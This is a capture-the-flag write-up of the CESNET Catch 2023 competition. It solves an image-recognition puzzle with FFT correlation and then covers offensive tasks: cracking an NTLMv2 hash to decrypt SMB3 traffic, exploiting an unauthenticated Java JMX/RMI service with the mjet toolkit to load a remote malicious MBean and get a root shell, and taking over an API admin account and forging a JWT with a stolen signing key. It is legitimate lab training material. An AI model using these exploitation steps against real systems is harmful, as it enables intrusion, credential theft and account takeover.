Write-up for Catch 2023 by CESNET

Petr Tobiška, suma

November 6th, 2023

Abstract

This write-up presents (some) solutions of tasks in the Catch 2023 competition organized by the CESNET Association.

General remarks

To solve tasks involving servers in `tcc` TLD, the VPN connection has to be established first using `OpenVPN` with the provided configuration:

```
sudo openvpn --config ctfd_ovpn.ovpn --verb 4
```

Log messages reveal the name server listening at `10.99.0.1` and `.tcc` names might be translated to IP addresses by e.g. `dig`. In principle you can provide this nameserver to your web browser, but it was easier just to add IP address–name pairs into `/etc/hosts`:

```
10.99.0.109    coffee-maker.cns-jv.tcc
10.99.0.64     www.cns-jv.tcc \
               documentation.cns-jv.tcc home.cns-jv.tcc \
               pirates.cns-jv.tcc structure.cns-jv.tcc
10.99.0.32     chef-menu.galley.cns-jv.tcc
10.99.0.122    web-protocols.cns-jv.tcc
10.99.0.101    quiz.cns-jv.tcc
10.99.0.155    keyword-of-the-day.cns-jv.tcc
10.99.0.117    key-parts-list.cns-jv.tcc
10.99.0.128    navigation-plan.cns-jv.tcc
10.99.0.108    universal-ship-api.cns-jv.tcc
10.99.0.102    arkanoid.cns-jv.tcc
```

1 Signal flags

We got 90 images of ships with signal flags. There are some text information, flags corresponding to letters and digits in naval ICS alphabet and one national flag. Text information comprise of Timestamp, Ship object ID, number of signal flags and signal type. As the file names of images does not have any meaning,

we first prepare a catalog of images, allowing to divide them into groups by the ship and order them by the timestamp. A quick and dirty Python script `ocr.py` (see the listing) calls `gocr`, parse the results with regular expressions and subsequently write a JSON list `ships.json`, allowing us to manually correct OCR errors (capital O instead of zero in the year of the timestamp etc.). Having the catalog, we can merge the messages within time interval less than 2 minutes together programatically.

We can read the flags and convert them to the letters/digits manually for few images, many of messages starts with `0X`, just telling to interpret the rest of the messages as hexadecimal representation. We also can see, that the flags `0X` are always at the top of an image, we may deduce that the flags should be read from top to bottom. There are total 1265 signal flags on all images, it is feasible to recognize all of them manually in 1 or 2 hours, but let us automatize it.

In order to recognize a signal flag on the image, we can find a pronounced green frame around each flag and then compare the content with flags. Sounds like a tedious work, so let us find something more original. How can you decide if two signals are similar or not? Calculate their correlation! Let us apply this idea to our images and signal flags. Let us take a row from the whole image and a row from a particular signal flag image. For the simplicity, we consider only one of RGB channels first. If the flag is present on the image, and if we calculate the correlation for the correct position, we got a big value, while for other positions the correlations diminish. Mathematically, let $im[j]$ be the pixel values of the image and $flag[j]$ be the pixel value of the flag (with the index j running through the width of them). We want to find the offset i, for which the expression (w_f is the width of flag, w_i is the width of the image)

$$\sum_{j=0}^{w_f-1} im[i+j] \cdot flag[j]$$

is maximal. A naive approach, to calculate the sum above for every i, taking into account that we need to process two-dimensional images with 3 color channels, would be too demanding. If we horizontaly flip the flag, so effectively change the index j to $-j$, we transform the sum above into convolution. And convolution can be calculated more efficiently as a product in a Fourier space (exactly: we have to apply also an inverse Fourier transformation to get back to coordinate space).

If we take in account all three RGB channels, we have a three-dimensional vector instead of a scalar value and due to linearity of Fourier transformation, we can perform all calculation for color channels independently and join them at the end. Finally, as the image is two-dimensional, we user two-dimensional Fourier transformation.

Technically, it is desirable to normalize images as well as flags by removing DC offset and scale them. Easy and good enough is to subtract from all pixel the color of background, i.e. RGB $(222, 222, 221)$ and divided the values by 256.

Second, we want to use *Fast Fourier transformation*, as it has the time complexity of $N * \log(N)$, so N must be a power of two. Generally, we could either expand the image or cut it to the power of two. As the images width and height are slightly bigger than 4096 and 2048, respectively and there is nothing interesting on the image border, we cut them.

Third, we need to manually locate flags corresponding to letters/digits on images, for each letter/digit specify the image name, the left top and right bottom corner. This part of the image is horizontally and vertically flipped, peridically expanded to the size of the whole image and shifted both horizontally and vertically so the point (0, 0) corresponds to the center of the flag.

Fourth, we benefit from the fact, that Fourier transformed pixel values are real so we can use the Real Fast Fourier transformation (saving roughly half time and space).

Fifth, if the flag is on the image, the correlation for its position is big. So we can take peak values and investigate their position on the image if they really corresponds to the flag. However, we need to determine if the flag is or is not on the image. To do this, we compare the flag pixel-by-pixel with cadidates on the image (we calculate the sum of absolute values of difference between pixel value of the flag and the image). This value is usually zero for the match except the digit 4; so we need some heuristical threshold for decision.

The computation is implemented in `solve.py` (see the listing in the appendix for details). Each image is represnted by (W, H, 3) matrix, the Fourier transformation (as well as Inverse FFT) is calculated over the first two axes. The function `find_flags` tries to find flags in a particular image calculating the convolution using the function `correl` from Fourier transformation of the image and the flag.

The calculation is not much optimized, to process one image takes about 1 minute. The result is listed in `messages` (see the listing in the appendix), together with all details described above. Flag messages starting by `0X` are unhexlified.

Reading the messages we spot an interesting one on the Finish ship (the second long message):

```
CNS Josef VERICH, you can IMPROVE them
 by RkxBR3tsVHJHLTNvWG4tYW9aTi1aNHFNfQ== !
```

It contains Base64-coded string, decoding reveals:

```
$ echo RkxBR3tsVHJHLTNvWG4tYW9aTi1aNHFNfQ== | base64 -d
FLAG{lTrG-3oXn-aoZN-Z4qM}
```

Short Post-mortem summary: looking back to evolution of solution, it was a longer and more difficult way. It could be implemented more clever and more quickly just done manually (or to off-loaded to some captcha recognition farm). But the way is the destination.

2 Suspicious traffic

Let us dive into a story of James Hook packet adventures told by `suspicious_traffic.pcap`. James works on a machine with IP 172.20.0.7.

The first episode shows storing files `history.db` and `employees.db` to the SMB server on IP 172.20.0.2. Wireshark can export the content of files disolved in captured traffic via Files, Export objects, SMB; the theme repeats few times later, the content of files is always the same and not interesting at all.

In the second episode, he uploads files `home.tgz` and `etc.tgz` to the FTP server on IP 172.20.0.5. We may see FTP conversation in the TCP stream 5, showing the username `james` and the password `james.f0r.FTP.3618995` in plain text. The two following TCP streams (in the direction from the FTP server to James) contain the transerred files. We can save them to files by Wireshark's Follow TCP stream, Show data as raw and Save as.

Untaring `home.tgz` allows us to look into `.bash_history` recording a manipulation with Docker for `iot-gateway-service` on Raspberry Pi. A Mozilla profile is empty (no `logins.json`, nothing interesting found). In untarred `etc.tgz`, there are no users in `/etc/passwd` and no passwords in `/etc/shadow`. We can just conclude that it is for Debian 11.7.

The third episode is obscure at the moment as it is covered by impermeable fog of SMB3 encryption enforced by SMB server on IP 172.20.0.6.

The fourth episode closes the plot. James is testing possible vulnerabilities of the development webserver on IP 172.20.0.3, port 20000, the only remarkable detail is using Basic Authorization with credentials `admin:james.f0r.HTTP.4648507` for GET requests `/admin` and `/settings`.

To get further we obviously have to decrypt SMB3 communication with IP 172.20.0.6 (in the TCP stream 11). Fortunately we are not the first who conquers it. It is well described in a blog by Khris Tolbert. [1] I will not repeat the procedure, please read the blog instead. Except fields stored in the PCAP we need the password. The password might be cracked from NTLMv2 hash [2] using `hashcat`. Following the guide, we build a hash for hashcat in the form

```
username::domain:ServerChallenge:NTproofstring:modifiedntlmv2response
```

where `username` is `james_admin`, the `domain` is `LOCAL.TCC`, `ServerChallenge` is `78c8f4fdf5927e58` (packet 2053), and `NTproofstring` (starting NTLMv2 response) and `modifiedntlmv2response`[3] are in packet 2055. The complete hash is

hash

```
james_admin::LOCAL.TCC:78c8f4fdf5927e58:8bc34ae8e76fe9b8417a966c2f632e
b4:01010000000000003ab4fc1550e2d901b352a9763bdec89a000000002001800410
03600370046003200420041003400450038004600320001001800410036003700460003
20042004100340045003800460032000400020000000300180061003600370066003200
06200610034006500380066003200070008003ab4fc1550e2d90106000400020000000
```

[1] `https://medium.com/maverislabs/decrypting-smb3-traffic-with-just-a-pcap-absolutely-maybe-712ed23ff6a2`
[2] `https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/`
[3] modification stems just in splitting NTLMv2 response to NTproofstring and the rest

```
800300030000000000000000000000000000002581558b8f3cf059f3661e7cb3af60d
9b63a7561b7f48607589fb37e551862b10a00100000000000000000000000000000000
00009001e00630069006600730002f0073006d00620073006500720076006500720032
000000000
```

From the FTP and HTTP episodes we may guess a format of a password: `james_admin.f0r.SMB.`*seven digits* (eventually variations of it like `for` instead of `f0r` and `SAMBA` instead of `SMB`). We download a maskprocessor from `https://github.com/hashcat/maskprocessor/releases/` to generate a list of all seven-digit combinations by

```
maskprocessor-0.73/mp64.bin '?d?d?d?d?d?d?d' > seven.txt
```

and prepare the wordlist.txt with a word `james_admin.f0r.SMB.` Running

```
hashcat -a 1 -m 5600 hash.txt wordlist.txt seven.txt
```

quickly finds the password `james_admin.f0r.SMB.8089078`.

For calculation we can download a script of the blog's author[4] and adapt it to Python3. It uses legacy MD4, so we have to temporarily modify `/etc/ssl/openssl.cnf` on our machine by adding and activating `legacy_sect`. From packet 2055 we extract Encrypted Session Key (denoted as the Session Key by Wireshark):
`4292dac3c7a0510f8b26c969e1ef0db9`. Result of the script, Random Session Key `7a93dee25de4c2141657e7037dddb8f1`, we enter to Wireshark via Edit, Preferences, Protocols, SMB2, Secret Session Key for decryption together with `session ID 49b136b900000000` (extracted from packet 2053). Voilà, magic happens and we see decrypted traffic! A new file `secret.db.enc` suddenly appears among Exported SMB objects.

The file `secret.db.enc` contains (according to `file`) *openssl enc'd data with salted password*, however there is no indication about algorithm used. We dive once more into information collected so far until we spot a line

```
openssl enc -aes-256-cbc -salt -pbkdf2 -in secret.db \
            -out secret.db.enc -k R3alyStr0ngP4ss!
```

in `.bash_history`. So we just apply the inverse procedure

```
openssl enc -d -aes-256-cbc -salt -pbkdf2 -in secret.db.enc \
            -out secret.db -k R3alyStr0ngP4ss!
```

to decrypt it. The decrypted file is Sqlite3 DB, just dump the content with `sqlite3 secret.db .dump` to see `FLAG{5B9B-lwPy-OfRS-4uEN` au plein soleil.

[4] `https://gist.github.com/khr0x40sh/747de1195bbe19f752e5f02dc22fce01`

3 Arkanoid

The `nmap` on `arkanoid.cns-jv.tcc` shows four TCP ports open: `8000`, `60001`, `60001`, and another one, which changes as the server is restarted every hour.

If we open `http://arkanoid.cns-jv.tcc:8000/` in Firefox, we may play a game written in Javascript and downloaded within the web page; the final score is uploaded via POST to the server. The only remarkable detail is the header `X-server: Java/1.8.0_144`. Log4shell immediate comes to mind. But, trying all the tricks and exploits with `jndi:ldap`, `jndi:rmi` ends in a dead end up.

Deeper investigation with `nmap`, namely `nmap -sV arkanoid.cns-jv.tcc -p60001-60002` or even better `nmap -sVC arkanoid.cns-jv.tcc -p60001-60002` shows:

```
60001/tcp open  java-rmi Java RMI
| rmi-dumpregistry:
|   jmxrmi
|      implements javax.management.remote.rmi.RMIServer,
|     extends
|       java.lang.reflect.Proxy
|       fields
|           Ljava/lang/reflect/InvocationHandler; h
|             java.rmi.server.RemoteObjectInvocationHandler
|             @localhost:60002
|             extends
|_              java.rmi.server.RemoteObject
60002/tcp open  java-rmi Java RMI
```

That sounds really promissing. let us install JDK-8u144 and start to study Java Management Extension, Remote Method Invocation and similar beasts. First with Remote Method Invocation only, just to get feeling about the game. After many hours of playing and googling, we got to interesting blogs of Mogwailabs[5] We can directly install a toolkit provided `https://github.com/mogwailabs/mjet` and try it. However, everything suppose that you are connecting from the same machine. It can be circumvented by TCP port forwards using `socat`:

```
socat TCP4-LISTEN:60001,reuseaddr,fork TCP4:10.99.0.102:60001 &
socat TCP4-LISTEN:60002,reuseaddr,fork TCP4:10.99.0.102:60002 &
```

Now you can successfully run jconsole to look at MBeans: `jconsole localhost:60001` and we can install our MBean on the server by (N.B. do not forget to modify IP address to yours, provided by OpenVPN):

```
mjet$ jython mjet.py localhost 60001 install super_secret \
       http://10.200.0.2:8000 8000
```

[5] `https://mogwailabs.de/en/blog/2019/03/attacking-java-rmi-services-after-jep-290/`, `https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/`, `https://web.archive.org/web/20170225171747/https://www.optiv.com/blog/exploiting-jmx-rmi`

```
MJET - MOGWAI LABS JMX Exploitation Toolkit
==========================================
[+] Starting webserver at port 8000
[+] Using JMX RMI
[+] Connecting to: service:jmx:rmi:///jndi/rmi://localhost:60001/jmxrmi
[+] Connected: rmi://10.200.0.2  2
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.200.0.2:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.99.0.102 - - [06/Nov/2023 11:23:10] "GET / HTTP/1.1" 200 -
10.99.0.102 - - [06/Nov/2023 11:23:10] "GET /usfddwkq.jar HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
```

and we see our MBean in jconsole's tab MBeans. Now we can run a command by

```
jython mjet.py localhost 60001 command super_secret \
       "cat /etc/passwd"
```

or even run a shell

```
jython mjet.py localhost 60001 shell super_secret
```

Being a root on the server, we can find that the whole java application server is running as a process with with PID 1, we can investingate its *argv* as `cat /proc/1/cmdline`:

```
/opt/jdk1.8.0_144/bin/java \
    -Dcom.sun.management.jmxremote=true \
    -Dcom.sun.management.jmxremote.port=60001 \
    -Dcom.sun.management.jmxremote.authenticate=false \
    -Dcom.sun.management.jmxremote.ssl=false \
    -Djava.rmi.server.hostname=localhost \
    -Dcom.sun.management.jmxremote.rmi.port=60002 \
    -classpath
       /opt/app/lib/app.jar:\
       /opt/app/lib/guava-31.1-jre.jar:\
       /opt/app/lib/commons-collections-3.1.jar:\
       /opt/app/lib/failureaccess-1.0.1.jar:
       /opt/app/lib/listenablefuture-9999.0-empty-to-avoid-conflict-with-guava.jar:
       /opt/app/lib/jsr305-3.0.2.jar:
       /opt/app/lib/checker-qual-3.12.0.jar:
       /opt/app/lib/error_prone_annotations-2.11.0.jar:
       /opt/app/lib/j2objc-annotations-1.3.jar
    tcc.rgame.App
```

We can see that the application is running as a Docker container by looking at `/proc/mounts`, browse the file system for souces (confirming that the server on port 8000 is just a decoy) ...

But still no sign of FLAG. Hours of despair. It must be somewhere there, we are the root, who is more?

How can information be transferred to a process from mother OS? In *argv*. Yes, of course, and? And in environment variables! So let us call `set` or `cat /proc/1/environ` to see the most beautiful variable forever: `FLAG` and its value `FLAG{sEYj-8Ofd-EtkR-OfHv}`.

4 U.S.A.

The `nmap` on `universal-ship-api.cns-jv.tcc` reveals only the TCP/80 port open and DirBuster finds few URLs available: `/api`, `/api/v1`, `/api/v1/admin`, `/docs`. From the headers we observe that the responses are served by `uvicorn` server.

HTTP `GET /api` returns the JSON response `{"endpoints":["v1"]}`, `GET /api/v1` returns `{"endpoints":["user","admin"]}`. To the query `/api/v1/user` we get `HTTP 404 Not found`, while to the `/api/v1/admin/` we are required to be authenticated: `HTTP/1.1 401 Unauthorized` with an additional header `www-authenticate: Bearer`. It means that we have to provide JSON Web Token – an opaque (usually signed) data. Googling a little bit brings over focus to *FastAPI* described in [6]

Let's prepare a Python virtual environment and install the FastAPI. Looking into examples we find that there are two URL available: `/user/signup` for creation of a user and `/user/login` for log in, returning a desired JWT. Inspired by the examples, we create a user

```
curl -v -X POST http://universal-ship-api.cns-jv.tcc/api/v1/user/signup \
     -H "Content-Type: application/json" \
     -d '{"email":"pu@cns-jv.tcc","password":"hrnekMedu"}'
```

return `HTTP/1.1 201 Created` and an empty JSON object as a body, so we created the user. If we do no guess required field, e.g we provide `username` instead of `email`, we got the response `HTTP/1.1 422 Unprocessable Entity` with the body like

```
{"detail":[{"loc":["body","email"],"msg":"field required",
 "type":"value_error.missing"}]}.
```

It indicates that we have to provide the email field in the body (other options are `query` for the query string or `path` for a part of the URL).

Now we login and hopefully obtain a JWT. The query with empty body shows the required fields:

[6] `https://fastapi.tiangolo.com/`, `https://testdriven.io/blog/fastapi-jwt-auth/`, and `https://github.com/testdrivenio/fastapi-jwt`

```
curl -v -X POST http://universal-ship-api.cns-jv.tcc/api/v1/user/login \
     -H "Content-Type: application/json" \
     -d '{}'
```

It returns `HTTP/1.1 422 Unprocessable Entity` and from the body we see, that we have to provide `username` and `password` in the body. We have not set up `username` in `signup`, but we can guess to use an e-mail (or a part of it) as the username and repeat the previous `curl` command with

```
     -d '{"username":"pu","password":"hrnekMedu"}'
```

but we got the same response – it seems that the fields are not seen in the body. An alternative to `json` coding of fields is to use `x-www-form-urlencoded`:

```
curl -v -X POST http://universal-ship-api.cns-jv.tcc/api/v1/user/login \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d 'username=pu&password=hrnekMedu'
```

and we got the response `HTTP/1.1 400 Bad Request` with the explanation in the body: `{"detail":"Incorrect username or password"}` confirming that we are on the right track. After some playing and changing the username to the comple e-mail address:

```
     -d 'username=pu@cns-jv.tcc&password=hrnekMedu'
```

we finally get logged in: (`HTTT/1.1 200 OK` with JWT in the body:

```
{"access_token":"eyJhbGciOiJSUzM4NCIsInR5cCI6Ik ...
     T0qIqnzPLcdu4","token_type":"bearer"}
```

The small remark: in the examples of FastAPI, you got JWT just after `signup`, there is no reason to use URLencoding instead of JSON (except make the task more difficult) and finally I have feeling that the (correct) login did not work for the first time, so I have investigated many dead ways before I have succeded – but the problem might be just between a chair and a keyboard, some typo etc. Also take in account, that every hour, your user is removed as the docker is restarted.

Let us investigate the token. It consists of Base64 coded parts, joined together by dots. The first part: `eyJhbGciOiJSUzM4NCIsInR5cCI6IkpXVCJ9` is simply[7]

```
$ echo eyJhbGciOiJSUzM4NCIsInR5cCI6IkpXVCJ9 | base64 -d
{"alg":"RS384","typ":"JWT"}
```

specifing the signature used (in the FastAPI examples, `HS256` is used). The second is more interesting:

[7] in fact it is URL-safe Base64 coding which substitutes *minus* `-` instead of *plus* `+` and *underscore* `_` instead of slash `/` in the standard Base64 alphabet; the padding equal sings are stripped. So to decode, we have to append the padding equal sings (to the length being a multiple of 4) and to replace `-_` by `+/` first (or to use Python's `base64.urlsafe_b64decode`).

```
{"type":"access_token","exp":1699758152,"iat":1699066952,"sub":"2",
 "admin":false,"guid":"e8287502-ce19-453f-a9b0-85f26b5288e9"}
```

showing Unix timestamp of the creation (`iat`), the expiration (`exp`), GUID assigned to our user and that we have not admin role. The third part is opaque 512 bytes long signature.

Provided with the token, we can read `/docs` which is just a boilerplate for formatting of `openapi.json`:

```
curl -v -o openapi.json -X GET http://universal-ship-api.cns-jv.tcc/openapi.json \
     -H 'authorization: Bearer eyJhbGci...IqnzPLcdu4'
```

The beautified `openapi.json` is shown in the listing on page 20. We discover unknown URLs to use: `/api/v1/user/{user_id}`, `/api/v1/user/updatepassword`, `/api/v1/admin/`, `/api/v1/admin/file`, and `/api/v1/admin/getFlag`, the HTTP methods (GET, POST, PUT) and eventually how to format the request body.

The most promising is the last one:

```
curl -v -X PUT http://universal-ship-api.cns-jv.tcc/api/v1/admin/getFlag \
     -H 'authorization: Bearer eyJhbGciOi .... qnzPLcdu4'
```

but we get `HTTP/1.1 200 OK` with the body: `{"msg":"Permission Error"}`. Obviously, our token has `admin:false` so we have to leverage our login. We may expect that there is a user with admin role on the system, we could change her password (with `/api/v1/user/updatepassword`) and login as her. We have to enumerate the existing users:

```
curl -v http://universal-ship-api.cns-jv.tcc/api/v1/user/1 \
     -H 'authorization: Bearer eyJhbGciOi .... qnzPLcdu4'
```

returning the admin user

```
{"guid":"2377e4d0-1584-4509-a519-ba8dffab37ab",
 "email":"admin@local.tcc","date":null,"time_created":1690796892351,
 "admin":true,"id":1}
```

and similarly `/user/2` returns our user

```
{"guid":"e8287502-ce19-453f-a9b0-85f26b5288e9",
 "email":"pu@cns-jv.tcc","date":null,"time_created":1699066842857,
 "admin":false,"id":2}
```

Let us change the admin password

```
TOKEN=eyJhbGci ... zPLcdu4
curl -v -X POST http://universal-ship-api.cns-jv.tcc/api/v1/user/updatepassword \
     -H "authorization: Bearer $TOKEN" \
     -H "Content-Type: application/json" \
     -d '{"guid":"2377e4d0-1584-4509-a519-ba8dffab37ab","password":"bambilion"}'
```

returning `HTTP/1.1 201 Created` and admin's user info.

Now let us log in as with admin credentials

```
curl -v -X POST http://universal-ship-api.cns-jv.tcc/api/v1/user/login\
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d 'username=admin@local.tcc&password=bambilion'
```

providing as the token with `admin:true`. Requesting `/v1/admin/getFlag` with the admin's token results in `HTTP/1.1 400 Bad Request` with an explanation in the body `flag-read key missing from JWT`. We have to coin the correct JWT ourself. (Naive) trials with just adding `"flag-read":true` failed as the token's signature become invalid. We have to find signing key somewhere on the server and sign the token ourself.

To get a file from the server we use e.g.;

```
ADMINTOKEN=eyJhbGciOiJ ... j0Lqmkl73tR0he4tBo
curl -v -X POST http://universal-ship-api.cns-jv.tcc/api/v1/admin/file \
     -H "authorization: Bearer $ADMINTOKEN" \
     -H "Content-Type: application/json" \
     -d '{"file":"main.py"}'
```

resulting usually in `HTTP/1.1 404 Not Found` with the detail `File not found` or `HTTP/1.1 200 OK` if we are lucky with the content of the requested file in JSON coded body value `{"file":"<content of file escaped>"}`.

The servers in the previous task run in Debian docker container, so we may expect that we can also investigated runnning processes through `/proc/`*pid*. By requesting files `/proc/1/cmdline` and `/proc/1/environ` we locate a usual suspect process'es *argv*

```
/app/venv/bin/python /app/venv/bin/uvicorn --reload --host 0.0.0.0 \
        --workers 10 --port 80 shipapi.main:app
```

and *envp* (only interesting ones):

```
APP_MODULE=shipapi.main:app
PWD=/app
```

So the main application code we can get from `/app/shipapi/main.py`, see the listing on page 29. Line 16 points us to configuration, sow let us get `/app/shipapi/appconfig/config.py` (see the listing). Here we can read, that the symmetric signature (usually `HS256` in examples) is not used anymore (line 13) and we have to use RSA (as we could expect as `RS384` is mentioned in the first part of the tokens). We get the private 4096-bit RSA key from `/app/shipapi/appconfig/jwtsigning.key` (line 10), and in our virtual environment we run

```
import jwt
import json
```

```
# extracted from ADMINTOKEN
js_payload = '{"type":"access_token","exp":1699763089,"iat":1699071889,
  "sub":"1","admin":true,
  "guid":"2377e4d0-1584-4509-a519-ba8dffab37ab"}'

algo = 'RS384'
privkey = open('jwtsigning.key').read()
payload = json.loads(js_payload)
payload['flag-read'] = True

token = jwt.encode(payload, privkey, algorithm=algo)
print(token)
```

With the coined token, we just ask for the flag again:

```
FRTOKEN=eyJhbGciO ... xUuLUbgDSdRs
curl -v -X PUT http://universal-ship-api.cns-jv.tcc/api/v1/admin/getFlag \
     -H "authorization: Bearer $FRTOKEN"
```

giving us the flag in body: `{"Flag":"FLAG{910P-iUeJ-Wwq1-i8L2}"}`.

Appendices

The appendices contain listing of relevant files.

A Listings for Signal Flags

ocr.py

```
import re
import subprocess
import glob
import json


def ocr(dirname, jsfn):
    re_fn = re.compile(r'signalization_([a-z]+)\.png')
    re_ocr = {
        'timestamp': re.compile(rb'Timestamp: GmT (2(0|O)\d{2}-\d{2}-\d{2} \d{2}:\d{2}:\d{2})'),
        'shipid': re.compile(rb'Ship object ID: (\d+)'),
        'nflags': re.compile(rb'Signal flags: (\d+)'),
        'type': re.compile(rb'Signal type: ((long|short)[-_]message|ship_name)')}

    ships = []
    for pathname in glob.glob(dirname+'/*.png'):
        m = re_fn.search(pathname)
        fn = m.groups()[0]
        cproc = subprocess.run(['gocr', '-m', '4', '-i', pathname], capture_output=True)
        rec = {'fn': fn}
```

```
        for key, reg in re_ocr.items():
            m = reg.search(cproc.stdout)
            rec[key] = m.groups()[0].decode('ascii') if m is not None else '0'
            if key == 'timestamp':
                rec[key] = rec[key].replace('O', '0')
        ships.append(rec)

    with open(jsfn, 'w') as fp:
        json.dump(ships, fp, indent=2, sort_keys=True)


if __name__ == '__main__':
    ocr('images', 'ships.json')
```

solve.py

```
import re
import subprocess
import glob
import json
import logging
from datetime import datetime
import binascii
from PIL import Image
import numpy as np


class FCS:
    FNTEMPLATE = 'images/signalization_%s.png'
    BGCOL = (222, 222, 221)
    SCALE = 256
    W, H = 4096, 2048
    HB, VB = 78, 34
    IMCORNERS = (HB, VB, HB+W, VB+H)
    CONVTHR = 0.95
    MAXCAND = 20
    MAXCUMDIF = 10000
    FLAGS = {
        'A': ('cmsnkxoklpmhiqgupphptwlbguuiopjr', (3645, 1027, 3726, 1098)),
        'B': ('aiaucdjpnsntplwncqozuymywjmhukwm', (3340, 1177, 3421, 1248)),
        'C': ('dwinjgndjrrwckmjjwagbufpnebvkvjo', (3190,  467, 3271,  538)),
        'D': ('ukcnmqdmqfjnutsafajpbagiabldavaj', (3081,  738, 3162,  809)),
        'E': ('xidfjmtojrijkfhgxrkeepbfzrdioemt', (2885,  344, 2936,  415)),
        'F': ('aiaucdjpnsntplwncqozuymywjmhukwm', (3700, 1493, 3781, 1564)),
        'H': ('xidfjmtojrijkfhgxrkeepbfzrdioemt', (2702,  104, 2783,  175)),
        'I': ('dwinjgndjrrwckmjjwagbufpnebvkvjo', (3125,  387, 3206,  458)),
        'K': ('qronxprykjntmvcwcihtxevtefglpcea', (2031,  299, 2112,  370)),
        'L': ('xhbbnbucjhrheenctftiicbloqzjbojz', (2121,  367, 2202,  438)),
        'M': ('xidfjmtojrijkfhgxrkeepbfzrdioemt', (2957,  504, 3038,  575)),
        'N': ('xidfjmtojrijkfhgxrkeepbfzrdioemt', (2804,  264, 2885,  335)),
        'O': ('xidfjmtojrijkfhgxrkeepbfzrdioemt', (2753,  184, 2834,  255)),
        'P': ('gwpmyzutwwuaneucbblckpgqsnvyiebx', (3198,   42, 3279,  113)),
```

```
        'R': ('dwinjgndjrrwckmjjwagbufpnebvkvjo', (3060,  307, 3141,  378)),
        'S': ('ukcnmqdmqfjnutsafajpbagiabldavaj', (2926,  338, 3007,  409)),
        'V': ('dwinjgndjrrwckmjjwagbufpnebvkvjo', (2930,  147, 3011,  218)),
        'W': ('ukcnmqdmqfjnutsafajpbagiabldavaj', (2988,  498, 3069,  569)),
        'X': ('aiaucdjpnsntplwncqozuymywjmhukwm', (2260,  229, 2341,  300)),
        'Y': ('xidfjmtojrijkfhgxrkeepbfzrdioemt', (2906,  424, 2987,  495)),
        '0': ('aiaucdjpnsntplwncqozuymywjmhukwm', (2170,  159, 2251,  212)),
        '1': ('aiaucdjpnsntplwncqozuymywjmhukwm', (2620,  554, 2701,  607)),
        '2': ('cwautabhaqfuunecnnjapvfhdvtsiaoe', (3143,  907, 3224,  960)),
        '3': ('aiaucdjpnsntplwncqozuymywjmhukwm', (2440,  396, 2521,  449)),
        '4': ('aiaucdjpnsntplwncqozuymywjmhukwm', (2350,  317, 2431,  371)),
        '5': ('aiaucdjpnsntplwncqozuymywjmhukwm', (2980,  871, 3061,  923)),
        '6': ('aiaucdjpnsntplwncqozuymywjmhukwm', (2530,  476, 2611,  528)),
        '7': ('cwautabhaqfuunecnnjapvfhdvtsiaoe', (2957,  427, 3038,  480)),
        '8': ('gtzwweieommowkqgtvxkwbqndlzlpois', (3561, 1465, 3642, 1517)),
        '9': ('cwautabhaqfuunecnnjapvfhdvtsiaoe', (2988,  507, 3069,  560)),
    }
    NATFLAGS = {
        259798: 'IT',
        304622: 'NL',
        367676: 'FR',
        487078: 'BR',
        567874: 'SK',
        627912: 'GB',
        717609: 'FI',
        745387: 'GR',
        782535: 'ES'}

    def __init__(self, jsname):
        self.clear_cache()
        self.logger = logging.getLogger('FCS')
        self.read_flags()
        with open(jsname) as fp:
            self.images = json.load(fp)
        self.shipids = set([rec['shipid'] for rec in self.images])

    def clear_cache(self):
        self.imcache = {}

    def get_imdata(self, name):
        """Return cached image data"""
        if name not in self.imcache:
            fn = FCS.FNTEMPLATE % name
            with Image.open(fn) as im:
                w, h = im.size
                imdata = tuple(im.getdata())
                self.imcache[name] = (w, h, imdata)
        return self.imcache[name]

    def im2matrix(self, imc, corners):
```

```
87          """Construct numpy matrix from image data"""
88          imw, imh, imdata = imc
89          assert 0 <= corners[0] < corners[2] <= imw
90          assert 0 <= corners[1] < corners[3] <= imh
91          aw, ah = corners[2] - corners[0], corners[3] - corners[1]
92          a = np.empty((aw, ah, 3))
93          j = corners[0] + corners[1]*imw
94          for ri in range(ah):
95              a[:, ri, :] = imdata[j:j+aw]
96              j += imw
97          return a
98
99      def normalize(self, a):
100         """subtract BGCOL and normalize by SCALE"""
101         an = np.empty(a.shape)
102         for i in range(3):
103             an[:, :, i] = a[:, :, i] - FCS.BGCOL[i]
104         an /= FCS.SCALE
105         return an
106
107     def read_flags(self):
108         self.logger.info('reading flags')
109         names = set([rec[0] for rec in FCS.FLAGS.values()])
110         self.flags = {}
111         for name in names:
112             self.clear_cache()
113             rules = {c: rec for c, rec in FCS.FLAGS.items()
114                      if rec[0] == name}
115             self.logger.debug('processing file %s, chars: %s',
116                               name, ''.join(rules.keys()))
117             nflags = self.read_some_flags(rules)
118             self.flags.update(nflags)
119         self.clear_cache()
120         self.logger.info('reading flags done')
121
122     def read_some_flags(self, rules):
123         flags = {}
124         for c, (name, corners) in rules.items():
125             imc = self.get_imdata(name)
126             a = self.im2matrix(imc, corners)
127             w, h, _ = a.shape
128             xc = (w - 1) // 2
129             yc = (h - 1) // 2
130             flags[c] = (a, xc, yc)
131             self.logger.debug('char %s done', c)
132         return flags
133
134     def flag_fft(self, c):
135         self.logger.debug('calculation fft for char %s', c)
136         a, xc, yc = self.flags[c]
```

```
137         w, h, _ = a.shape
138         an = self.normalize(a)
139         ac = np.zeros((FCS.W, FCS.H, 3))
140         xc = (w - 1) // 2
141         yc = (h - 1) // 2
142         xc1, yc1 = w - xc, h - yc
143         ac[xc::-1, yc::-1, :] = an[:xc+1, :yc+1, :]
144         ac[-1:-xc1:-1, yc::-1, :] = an[xc+1:, :yc+1, :]
145         ac[xc::-1, -1:-yc1:-1, :] = an[:xc+1, yc+1:, :]
146         ac[-1:-xc1:-1, -1:-yc1:-1, :] = an[xc+1:, yc+1:, :]
147         afft = np.fft.rfft2(ac, axes=(0, 1))
148         return afft
149
150     def read_image(self, name):
151         self.logger.debug('reading image %s', name)
152         imc = self.get_imdata(name)
153         a = self.im2matrix(imc, FCS.IMCORNERS)
154         afft = np.fft.rfft2(self.normalize(a), axes=(0, 1))
155         return a, afft
156
157     def compare_flag(self, aimage, c, pos):
